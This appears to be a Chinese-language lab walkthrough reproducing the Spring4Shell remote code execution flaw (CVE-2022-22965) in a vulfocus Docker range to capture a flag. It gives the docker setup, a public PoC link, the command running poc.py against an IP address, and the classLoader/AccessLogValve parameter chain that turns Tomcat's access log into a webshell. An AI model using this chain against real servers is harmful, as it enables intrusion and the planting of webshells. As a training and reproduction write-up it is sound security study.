Spring Framework远程命令执行复现(CVE-2022-22965)

 

 漏洞描述 #

Spring Framework 是一个开源的应用程序框架和 Java 平台的控制容器的反转。由于其强大的功能和易用性,它在行业中被各种程序和系统广泛使用。一些知名产品如 Spring Boot 和 Spring Cloud 都是使用 Spring Framework 开发的。

2022年3月30日,Spring框架曝出RCE 0day漏洞,通过该漏洞可写入webshell以及命令执行。在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并写入任意路径下的文件

利⽤class对象构造利⽤链,对Tomcat的日志配置进行修改,然后,向⽇志中写⼊shell。

漏洞利用条件 #

  • Apache Tomcat作为Servlet容器;
  • 使用JDK9及以上版本的Spring MVC框架;
  • Spring框架以及衍生的框架spring-beans-*.jar文件或者存在
  • CachedIntrospectionResults.class

影响版本 #

  • Spring Framework 5.3.X < 5.3.18
  • Spring Framework 5.2.X < 5.2.20

注:其他小版本未更新均受影响

漏洞复现 #

1. 环境搭建

使用docker

docker pull vulfocus/spring-core-rce-2022-03-29
docker run -d -p 8090:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29

或者使用vulfocus靶场

Vulfocus 漏洞威胁分析平台

2. exp

地址:https://codeload.github.com/BobTheShoplifter/Spring4Shell-POC/zip/refs/heads/main

python3 poc.py --url http://123.58.236.76:18787 

访问shell地址

获取flag

判断机器是否出网

可见机器出网

exp流量

post发送请求

lass.module.classLoader.resources.context.parent.pipeline.first.pattern=构建文件的内容
class.module.classLoader.resources.context.parent.pipeline.first.suffix=修改tomcat日志文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.directory=写入文件所在的网站根目录
class.module.classLoader.resources.context.parent.pipeline.first.prefix=写入文件名称
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=文件日期格式(实际构造为空值即可)

访问shell